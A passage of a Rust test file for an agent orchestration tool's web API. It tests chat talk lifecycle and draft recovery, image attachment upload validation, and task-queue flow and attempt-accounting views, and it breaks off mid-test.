9168 let saved = store.get(&id).expect("draft remains after refusal");
9169 assert!(saved.turns.is_empty());
9170 assert_eq!(saved.pending, "saved before restart");
9171
9172 let say_path = format!("/api/talks/{id}/say");
9173 let (first, second) = tokio::join!(
9174 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9175 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9176 );
9177 assert_eq!(first.status, 409, "{}", first.body);
9178 assert_eq!(second.status, 409, "{}", second.body);
9179 let saved = store
9180 .get(&id)
9181 .expect("draft remains after concurrent refusals");
9182 assert!(saved.turns.is_empty());
9183 assert_eq!(saved.pending, "saved before restart");
9184
9185 let resumed = f
9186 .post(&format!("/api/talks/{id}/pending/resume"), None)
9187 .await;
9188 assert_eq!(resumed.status, 202, "{}", resumed.body);
9189 let duplicate = f
9190 .post(&format!("/api/talks/{id}/pending/resume"), None)
9191 .await;
9192 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9193
9194 for _ in 0..SETTLE_STEPS {
9195 if store.get(&id).expect("talk").turns.len() == 2 {
9196 break;
9197 }
9198 tokio::time::sleep(Duration::from_millis(10)).await;
9199 }
9200 let finished = store.get(&id).expect("finished talk");
9201 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9202 assert_eq!(finished.turns[0].body, "saved before restart");
9203 assert!(finished.pending.is_empty());
9204 }
9205
9206 #[tokio::test]
9207 async fn an_image_only_recovered_draft_resumes_without_text() {
9208 let (_tmp, _repo, f) = talk_fixture().await;
9209 let id = f.post("/api/talks", None).await.json()["id"]
9210 .as_str()
9211 .expect("id")
9212 .to_owned();
9213 let uploaded = f
9214 .post_bytes(
9215 &format!("/api/talks/{id}/attachments"),
9216 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9217 PNG_BYTES,
9218 )
9219 .await;
9220 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9221 let attachment = f
9222 .talks()
9223 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9224 .expect("attachment metadata")
9225 .expect("stored attachment");
9226 let store = f.talks();
9227 let mut recovered = store.get(&id).expect("opened talk");
9228 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9229
9230 let resumed = f
9231 .post(&format!("/api/talks/{id}/pending/resume"), None)
9232 .await;
9233 assert_eq!(resumed.status, 202, "{}", resumed.body);
9234 for _ in 0..SETTLE_STEPS {
9235 if store.get(&id).expect("talk").turns.len() == 2 {
9236 break;
9237 }
9238 tokio::time::sleep(Duration::from_millis(10)).await;
9239 }
9240 let finished = store.get(&id).expect("finished talk");
9241 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9242 assert!(finished.turns[0].body.is_empty());
9243 assert_eq!(finished.turns[0].attachments.len(), 1);
9244 assert!(finished.pending_attachments.is_empty());
9245 }
9246
9247 #[tokio::test]
9248 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9249 let (_tmp, _repo, f) = talk_fixture().await;
9250 let id = f.post("/api/talks", None).await.json()["id"]
9251 .as_str()
9252 .expect("id")
9253 .to_owned();
9254 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9255 assert_eq!(closed.status, 200, "{}", closed.body);
9256 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9257 .expect("serialize closed talk");
9258 for (path, body) in [
9259 (format!("/api/talks/{id}/pending/resume"), None),
9260 (
9261 format!("/api/talks/{id}/pending/clear"),
9262 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9263 ),
9264 (
9265 format!("/api/talks/{id}/pending/edit"),
9266 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9267 ),
9268 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9269 ] {
9270 let response = f.post(&path, body).await;
9271 assert_eq!(response.status, 409, "{}", response.body);
9272 }
9273 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9274 .expect("serialize closed talk");
9275 assert_eq!(
9276 after_clear, before_clear,
9277 "clear must not rewrite a closed talk"
9278 );
9279 }
9280
9281 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9284
9285 #[tokio::test]
9286 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9287 let tmp = TempDir::new().expect("tempdir");
9288 let repo = tmp.path().join("repo");
9289 std::fs::create_dir_all(&repo).expect("repo dir");
9290 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9291 let f = Fixture::with_repo(repo).await;
9292 let id_a = f.post("/api/talks", None).await.json()["id"]
9293 .as_str()
9294 .unwrap()
9295 .to_owned();
9296 let id_b = f.post("/api/talks", None).await.json()["id"]
9297 .as_str()
9298 .unwrap()
9299 .to_owned();
9300
9301 let a = f
9302 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9303 .await;
9304 assert_eq!(a.status, 202, "{}", a.body);
9305 assert_eq!(a.json()["thinking"], true);
9306 let b = f
9307 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9308 .await;
9309 assert_eq!(b.status, 202, "{}", b.body);
9310 assert_eq!(b.json()["thinking"], true);
9311
9312 let listed = f.get("/api/talks").await.json();
9313 for id in [&id_a, &id_b] {
9314 let view = listed
9315 .as_array()
9316 .unwrap()
9317 .iter()
9318 .find(|talk| talk["id"] == *id)
9319 .unwrap();
9320 assert_eq!(view["thinking"], true, "{listed}");
9321 }
9322 let repeated = f
9323 .post(
9324 &format!("/api/talks/{id_a}/say"),
9325 Some(r#"{"text":"again"}"#),
9326 )
9327 .await;
9328 assert_eq!(repeated.status, 202, "{}", repeated.body);
9329 assert_eq!(repeated.json()["pending"], "again");
9330 }
9331
9332 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9335
9336 #[tokio::test]
9337 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9338 let f = Fixture::start().await;
9339 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9340
9341 let res = f
9342 .post_bytes(
9343 &format!("/api/talks/{id}/attachments"),
9344 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9345 PNG_BYTES,
9346 )
9347 .await;
9348 assert_eq!(res.status, 201, "{}", res.body);
9349 let body = res.json();
9350 assert_eq!(body["name"], "shot.png");
9351 assert_eq!(body["mime"], "image/png");
9352 assert_eq!(body["bytes"], PNG_BYTES.len());
9353 let att_id = body["id"].as_str().expect("id").to_owned();
9354 assert_eq!(
9355 att_id.len(),
9356 32,
9357 "the id must never be a client-suppliable path: {att_id}"
9358 );
9359
9360 let got = f
9361 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9362 .await;
9363 assert_eq!(got.status, 200, "{}", got.body);
9364 assert_eq!(got.header("content-type"), Some("image/png"));
9365 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9366 assert_eq!(got.bytes, PNG_BYTES);
9367 }
9368
9369 #[tokio::test]
9370 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9371 let f = Fixture::start().await;
9372 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9373
9374 let svg = f
9377 .post_bytes(
9378 &format!("/api/talks/{id}/attachments"),
9379 &[("Content-Type", "image/svg+xml")],
9380 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9381 )
9382 .await;
9383 assert!(
9384 (400..500).contains(&svg.status),
9385 "svg must be refused: {} {}",
9386 svg.status,
9387 svg.body
9388 );
9389 assert!(svg.body.contains("SVG"), "{}", svg.body);
9390
9391 let text = f
9392 .post_bytes(
9393 &format!("/api/talks/{id}/attachments"),
9394 &[("Content-Type", "text/plain")],
9395 b"just some text",
9396 )
9397 .await;
9398 assert!(
9399 (400..500).contains(&text.status),
9400 "an unlisted type must be refused: {} {}",
9401 text.status,
9402 text.body
9403 );
9404
9405 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9408 let big = f
9409 .post_bytes(
9410 &format!("/api/talks/{id}/attachments"),
9411 &[("Content-Type", "image/png")],
9412 &oversized,
9413 )
9414 .await;
9415 assert_eq!(
9416 big.status,
9417 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9418 "{}",
9419 big.body
9420 );
9421 }
9422
9423 #[tokio::test]
9424 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9425 let f = Fixture::start().await;
9426 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9427
9428 let res = f
9431 .post_bytes(
9432 &format!("/api/talks/{id}/attachments"),
9433 &[("Content-Type", "image/png")],
9434 b"<html>not a picture</html>",
9435 )
9436 .await;
9437 assert!((400..500).contains(&res.status), "{}", res.body);
9438 }
9439
9440 #[tokio::test]
9441 async fn an_unknown_attachment_id_is_a_404() {
9442 let f = Fixture::start().await;
9443 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9444
9445 let res = f
9446 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9447 .await;
9448 assert_eq!(res.status, 404, "{}", res.body);
9449 }
9450
9451 #[tokio::test]
9452 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9453 let f = Fixture::start().await;
9454 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9455
9456 let uploaded = f
9457 .post_bytes(
9458 &format!("/api/talks/{id}/attachments"),
9459 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9460 PNG_BYTES,
9461 )
9462 .await;
9463 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9464 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9465
9466 let res = f
9467 .post(
9468 &format!("/api/talks/{id}/say"),
9469 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9470 )
9471 .await;
9472 assert_eq!(res.status, 202, "{}", res.body);
9473 let queued = res.json();
9474 let turns = queued["turns"].as_array().expect("turns array");
9475 assert_eq!(
9476 turns.len(),
9477 1,
9478 "an empty body with an attachment is still a turn: {queued}"
9479 );
9480 assert_eq!(turns[0]["who"], "operator");
9481 assert_eq!(turns[0]["body"], "");
9482 let atts = turns[0]["attachments"]
9483 .as_array()
9484 .expect("attachments array");
9485 assert_eq!(atts.len(), 1);
9486 assert_eq!(atts[0]["id"], att_id);
9487 assert_eq!(atts[0]["mime"], "image/png");
9488
9489 let on_disk = f.talks().get(&id).expect("get");
9492 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9493 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9494 }
9495
9496 #[tokio::test]
9497 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9498 let f = Fixture::start().await;
9499 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9500
9501 let res = f
9502 .post(
9503 &format!("/api/talks/{id}/say"),
9504 Some(&format!(
9505 r#"{{"text":"hi","attachments":["{}"]}}"#,
9506 "a".repeat(32)
9507 )),
9508 )
9509 .await;
9510 assert!((400..500).contains(&res.status), "{}", res.body);
9511 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9512
9513 let on_disk = f.talks().get(&id).expect("get");
9514 assert!(
9515 on_disk.turns.is_empty(),
9516 "a rejected attachment id must not partially record the turn: {:?}",
9517 on_disk.turns
9518 );
9519 }
9520
9521 #[tokio::test]
9522 async fn talk_close_makes_the_talk_refuse_further_turns() {
9523 let f = Fixture::start().await;
9524 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9525
9526 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9527 assert_eq!(closed.status, 200, "{}", closed.body);
9528 assert_eq!(closed.json()["status"], "closed");
9529
9530 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9532 assert_eq!(closed_again.status, 200);
9533 assert_eq!(closed_again.json()["status"], "closed");
9534
9535 let said = f
9536 .post(
9537 &format!("/api/talks/{id}/say"),
9538 Some(r#"{"text":"too late"}"#),
9539 )
9540 .await;
9541 assert_eq!(said.status, 409, "{}", said.body);
9542 }
9543
9544 #[tokio::test]
9545 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9546 let (_tmp, _repo, f) = talk_fixture().await;
9547 let id = f.post("/api/talks", None).await.json()["id"]
9548 .as_str()
9549 .expect("id")
9550 .to_owned();
9551 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9552 assert_eq!(closed.status, 200, "{}", closed.body);
9553
9554 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9555 assert_eq!(reopened.status, 200, "{}", reopened.body);
9556 assert_eq!(reopened.json()["status"], "open");
9557
9558 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9560 assert_eq!(reopened_again.status, 200);
9561 assert_eq!(reopened_again.json()["status"], "open");
9562
9563 let said = f
9564 .post(
9565 &format!("/api/talks/{id}/say"),
9566 Some(r#"{"text":"still there?"}"#),
9567 )
9568 .await;
9569 assert_eq!(
9570 said.status, 202,
9571 "a reopened talk accepts turns again: {}",
9572 said.body
9573 );
9574 }
9575
9576 #[tokio::test]
9577 async fn talk_reopen_on_an_unknown_id_is_404() {
9578 let f = Fixture::start().await;
9579 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9580 assert_eq!(res.status, 404, "{}", res.body);
9581 }
9582
9583 #[tokio::test]
9584 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9585 let f = Fixture::start().await;
9586 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9587
9588 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9589 assert_eq!(deleted.status, 204, "{}", deleted.body);
9590
9591 let after = f.get(&format!("/api/talks/{id}")).await;
9592 assert_eq!(after.status, 404, "{}", after.body);
9593
9594 let listed = f.get("/api/talks").await.json();
9595 assert!(
9596 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9597 "a deleted talk must not linger in the list: {listed}"
9598 );
9599 }
9600
9601 #[tokio::test]
9602 async fn talk_delete_on_an_unknown_id_is_404() {
9603 let f = Fixture::start().await;
9604 let res = f.delete("/api/talks/nonexistent-id").await;
9605 assert_eq!(res.status, 404, "{}", res.body);
9606 }
9607
9608 #[tokio::test]
9612 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9613 let f = Fixture::start().await;
9614 let (a, b, gone) = (
9615 "20260902-140501-aaaa",
9616 "20260902-140502-bbbb",
9617 "20260902-140503-cccc",
9618 );
9619 write_run(&f.runs(), a, RunStatus::Stalled);
9620 let mut review = RunState::new(
9621 PathBuf::from("/repo/magi"),
9622 "main".to_owned(),
9623 "0123456789abcdef".to_owned(),
9624 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9625 .to_owned(),
9626 Config::default(),
9627 );
9628 review.id = b.to_owned();
9629 review.status = RunStatus::Merged;
9630 write_state(&f.runs(), &review);
9631
9632 let mut task = Task::new(
9633 "retry".to_owned(),
9634 "Do the thing".to_owned(),
9635 PathBuf::from("/repo/magi"),
9636 Source::Human,
9637 );
9638 task.start(a.to_owned());
9639 task.stall("quota");
9640 task.start(a.to_owned());
9641 task.start(b.to_owned());
9642 task.start(gone.to_owned());
9643 f.queue().put(&mut task).expect("file the task");
9644
9645 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9646 assert_eq!(res.status, 200, "{}", res.body);
9647 let v = res.json();
9648 let h = v["history"].as_array().expect("history");
9649 assert_eq!(h.len(), 4, "{v}");
9650 assert_eq!(h[0]["kind"], "competition");
9651 assert_eq!(h[0]["status"], "stalled");
9652 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9653 assert_eq!(h[1]["kind"], "resume", "{v}");
9654 assert!(
9655 h[0]["outcome"]
9656 .as_str()
9657 .unwrap()
9658 .contains("unknown. Pass #2"),
9659 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9660 );
9661 assert!(
9662 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9663 "{v}"
9664 );
9665 assert!(
9666 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9667 "an unrecorded cause must not be narrated as an operator park: {v}"
9668 );
9669 assert_eq!(h[2]["kind"], "review");
9670 assert!(
9671 h[2]["description"]
9672 .as_str()
9673 .unwrap()
9674 .contains("magi/aaaa/A")
9675 );
9676 assert_eq!(h[2]["status"], "merged");
9677 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9678 assert_eq!(v["runs_unreadable"], 1);
9679 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9680 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9681 assert_eq!(nodes[4]["note"], "unreadable");
9682 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9683 assert_eq!(v["instruction"], "Do the thing");
9684 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9685
9686 let run = f.get(&format!("/api/runs/{a}")).await.json();
9688 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9689
9690 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9691 }
9692
9693 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9694 let mut s = RunState::new(
9695 PathBuf::from("/repo/magi"),
9696 "main".to_owned(),
9697 "0123456789abcdef".to_owned(),
9698 "Do it".to_owned(),
9699 Config::default(),
9700 );
9701 s.status = status;
9702 edit(&mut s);
9703 s
9704 }
9705
9706 fn flow_task(runs: &[&str]) -> Task {
9707 let mut t = Task::new(
9708 "t".to_owned(),
9709 "Do it".to_owned(),
9710 PathBuf::from("/repo/magi"),
9711 Source::Human,
9712 );
9713 for r in runs {
9714 t.start((*r).to_owned());
9715 }
9716 t
9717 }
9718
9719 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9720 let h = task_history(task, |id| {
9721 states
9722 .iter()
9723 .find(|(i, _)| *i == id)
9724 .and_then(|(_, s)| s.clone())
9725 });
9726 task_flow(task, &h, 5)
9727 }
9728
9729 #[test]
9730 fn flow_opens_with_the_chat_that_queued_the_task() {
9731 let mut t = flow_task(&[]);
9732 t.source = Source::Agent {
9733 run: "a b/c".to_owned(),
9734 node: crate::queue::CHAT_NODE.to_owned(),
9735 };
9736 let f = flow_for(&t, &[]);
9737 assert_eq!(f.nodes[0].key, "chat");
9738 assert_eq!(f.nodes[0].kind, "chat");
9739 assert_eq!(
9740 f.nodes[0].label,
9741 format!("Chat {}", crate::queue::short("a b/c"))
9742 );
9743 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9744 assert_eq!(f.nodes[1].key, "start");
9745 assert_eq!(
9746 f.edges[0],
9747 FlowEdge {
9748 from: "chat".to_owned(),
9749 to: "start".to_owned(),
9750 label: "queued from chat".to_owned(),
9751 attempt: AttemptCost::None,
9752 }
9753 );
9754 }
9755
9756 #[test]
9757 fn flow_has_no_chat_box_for_other_sources() {
9758 for source in [
9759 Source::Human,
9760 Source::Issue {
9761 number: 3,
9762 repo: "o/r".to_owned(),
9763 },
9764 Source::Agent {
9765 run: "20260904-014455-ab12".to_owned(),
9766 node: "implement".to_owned(),
9767 },
9768 ] {
9769 let mut t = flow_task(&[]);
9770 t.source = source;
9771 let f = flow_for(&t, &[]);
9772 assert_eq!(f.nodes[0].key, "start");
9773 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9774 assert!(f.edges.iter().all(|e| e.from != "chat"));
9775 }
9776 }
9777
9778 const FA: &str = "20260902-140501-aaaa";
9779 const FB: &str = "20260902-140502-bbbb";
9780
9781 #[test]
9782 fn flow_follows_blocked_retry_merged_to_done() {
9783 let mut t = flow_task(&[FA, FB]);
9784 t.status = TaskStatus::Done;
9785 let f = flow_for(
9786 &t,
9787 &[
9788 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9789 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9790 ],
9791 );
9792 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9793 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9794 assert_eq!(f.edges.len(), 3);
9795 assert_eq!(f.edges[0].label, "claimed");
9796 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9797 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9798 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9799 assert_eq!(
9800 f.nodes[2].href.as_deref(),
9801 Some("#/runs/20260902-140502-bbbb")
9802 );
9803 assert!(f.nodes[2].decided);
9804 }
9805
9806 #[test]
9807 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9808 let quota = || {
9809 flow_run(RunStatus::Stalled, |s| {
9810 s.quota.push(crate::run::QuotaLoss {
9811 seat: "judge-1".to_owned(),
9812 node: "judge".to_owned(),
9813 at: Timestamp::now(),
9814 reset: None,
9815 })
9816 })
9817 };
9818 let mut t = flow_task(&[FA, FA]);
9819 t.status = TaskStatus::Queued;
9820 let f = flow_for(&t, &[(FA, Some(quota()))]);
9821 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9822 assert_eq!(f.nodes[1].note, Some("interrupted"));
9823 assert_eq!(
9824 f.nodes[1].status, None,
9825 "no outcome copied onto an earlier pass"
9826 );
9827 assert_eq!(
9828 f.edges[1].attempt,
9829 AttemptCost::Unknown,
9830 "a resume does not prove the earlier pass was refunded"
9831 );
9832 assert!(f.edges[1].label.contains("resume the same run"));
9833 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9834 assert_eq!(
9835 f.edges[2].label,
9836 "stalled after a resume, refund unknown \u{2192} queued"
9837 );
9838 assert!(!f.nodes[2].decided, "a stall is not a decision");
9839 assert_eq!(f.nodes[2].note, Some("no verdict"));
9840 }
9841
9842 #[test]
9843 fn flow_single_pass_quota_stall_is_refunded() {
9844 let t = flow_task(&[FA]);
9845 let f = flow_for(
9846 &t,
9847 &[(
9848 FA,
9849 Some(flow_run(RunStatus::Stalled, |s| {
9850 s.quota.push(crate::run::QuotaLoss {
9851 seat: "judge-1".to_owned(),
9852 node: "judge".to_owned(),
9853 at: Timestamp::now(),
9854 reset: None,
9855 })
9856 })),
9857 )],
9858 );
9859 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9860 }
9861
9862 #[test]
9863 fn flow_parked_refunds_and_stall_without_quota_spends() {
9864 let mut t = flow_task(&[FA]);
9865 t.status = TaskStatus::Queued;
9866 let f = flow_for(
9867 &t,
9868 &[(
9869 FA,
9870 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9871 )],
9872 );
9873 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9874 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9875 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9876 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9877 assert!(!f.nodes[1].decided);
9878 }
9879
9880 #[test]
9881 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9882 let t = flow_task(&[FA, FB]);
9883 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9884 assert_eq!(f.nodes[1].note, Some("unreadable"));
9885 assert!(!f.nodes[1].readable);
9886 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9887 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9888 }
9889
9890 #[test]
9891 fn flow_names_the_branch_of_a_review_only_run() {
9892 let t = flow_task(&[FA]);
9893 let f = flow_for(
9894 &t,
9895 &[(
9896 FA,
9897 Some(flow_run(RunStatus::Merged, |s| {
9898 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9899 })),
9900 )],
9901 );
9902 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9903 assert_eq!(
9904 f.nodes[1].detail.as_deref(),
9905 Some("review-only run of branch magi/x/A")
9906 );
9907 }
9908
9909 #[test]
9910 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9911 let mut t = flow_task(&[FA]);
9912 t.status = TaskStatus::Held;
9913 let pr = crate::run::PrRecord {
9914 url: "https://example.test/pr/1".to_owned(),
9915 number: 1,
9916 state: "open".to_owned(),
9917 checks: "green".to_owned(),
9918 round: 0,
9919 rounds: 3,
9920 red_at_merge: Vec::new(),
9921 };
9922 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9923 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9924 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9925 t.status = TaskStatus::Done;
9926 let f = flow_for(&t, &[(FA, Some(blocked))]);
9927 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9928 }
9929
9930 #[test]
9931 fn flow_with_no_runs_goes_from_queued_to_queued() {
9932 let t = flow_task(&[]);
9933 let f = flow_for(&t, &[]);
9934 assert_eq!(f.nodes.len(), 2);
9935 assert_eq!(f.edges.len(), 1);
9936 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9937 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9938 }
9939
9940 #[test]
9943 fn a_parked_non_terminal_run_is_explained_as_parked() {
9944 let mut s = RunState::new(
9945 PathBuf::from("/repo/magi"),
9946 "main".to_owned(),
9947 "0123456789abcdef".to_owned(),
9948 "Do it".to_owned(),
9949 Config::default(),
9950 );
9951 s.status = RunStatus::Implementing;
9952 s.parked = true;
9953 let task = Task::new(
9954 "t".to_owned(),
9955 "Do it".to_owned(),
9956 PathBuf::from("/repo/magi"),
9957 Source::Human,
9958 );
9959 let v = task_run_view(
9960 "20260902-140501-aaaa",
9961 Some(&s),
9962 RunSlot {
9963 n: 1,
9964 resumed: false,
9965 resumed_later: None,
9966 prior: None,
9967 last: true,
9968 },
9969 &task,
9970 );
9971 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9972 }
9973
9974 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9975 let mut s = flow_run(RunStatus::Implementing, edit);
9976 s.parked = false;
9977 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9978 task_run_view(
9979 "20260902-140501-aaaa",
9980 Some(&s),
9981 RunSlot {
9982 n: 1,
9983 resumed: false,
9984 resumed_later: Some(2),
9985 prior: None,
9986 last: false,
9987 },
9988 &task,
9989 )
9990 }
9991
9992 #[test]
9993 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9994 let v = earlier_pass_view(|_| {});
9995 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9996 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9997 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9998 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9999 assert_eq!(v.exit, RunExit::Interrupted);
10000 assert_eq!(v.attempt, AttemptCost::Unknown);
10001 }
10002
10003 #[test]
10004 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10005 let v = earlier_pass_view(|s| {
10006 s.quota.push(crate::run::QuotaLoss {
10007 seat: "judge-1".to_owned(),
10008 node: "judge".to_owned(),
10009 at: Timestamp::now(),
10010 reset: None,
10011 });
10012 });
10013 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10014 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10015 assert_eq!(v.attempt, AttemptCost::Unknown);
10016 }
10017
10018 #[test]
10019 fn the_current_pass_states_its_recorded_cause_and_cost() {
10020 let slot = || RunSlot {
10021 n: 1,
10022 resumed: false,
10023 resumed_later: None,
10024 prior: None,
10025 last: true,
10026 };
10027 let task = flow_task(&["20260902-140501-aaaa"]);
10028 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10029 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10030 assert_eq!(
10031 (v.exit, v.attempt),
10032 (RunExit::Parked, AttemptCost::Refunded)
10033 );
10034 let spent = flow_run(RunStatus::Blocked, |_| {});
10035 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10036 assert_eq!(v.attempt, AttemptCost::Spent);
10037 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10038 }
10039
10040 #[tokio::test]
10041 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10042 let f = Fixture::start().await;
10043 let queue = f.queue();
10044 let mut task = Task::new(
10045 "spent".to_owned(),
10046 "Try again".to_owned(),
10047 PathBuf::from("/repo/magi"),
10048 Source::Human,
10049 );
10050 task.start("20260902-140502-bbbb".to_owned());
10051 task.fail("agent gave up", 9);
10052 queue.put(&mut task).expect("file the task");
10053
10054 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10055 assert_eq!(held.status, 200);
10056 assert_eq!(held.json()["status_str"], "held");
10057
10058 let released = f
10059 .post(&format!("/api/queue/{}/release", task.id), None)
10060 .await;
10061 assert_eq!(released.status, 200);
10062 assert_eq!(released.json()["status_str"], "queued");
10063 assert_eq!(
10064 released.json()["attempts"],
10065 0,
10066 "release is a real second chance, not an instant re-hold"
10067 );
10068 assert_eq!(
10069 queue.get(&task.id).expect("reload").status,
10070 TaskStatus::Queued,
10071 "the change is on disk, not only in the reply"
10072 );
10073 assert!(
10074 !f.home
10075 .path()
10076 .join("queue")
10077 .join(format!("{}.lock", task.id))
10078 .exists(),
10079 "the claim the mutation took is released again"
10080 );
10081 }
10082
10083 #[tokio::test]
10084 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10085 let f = Fixture::start().await;
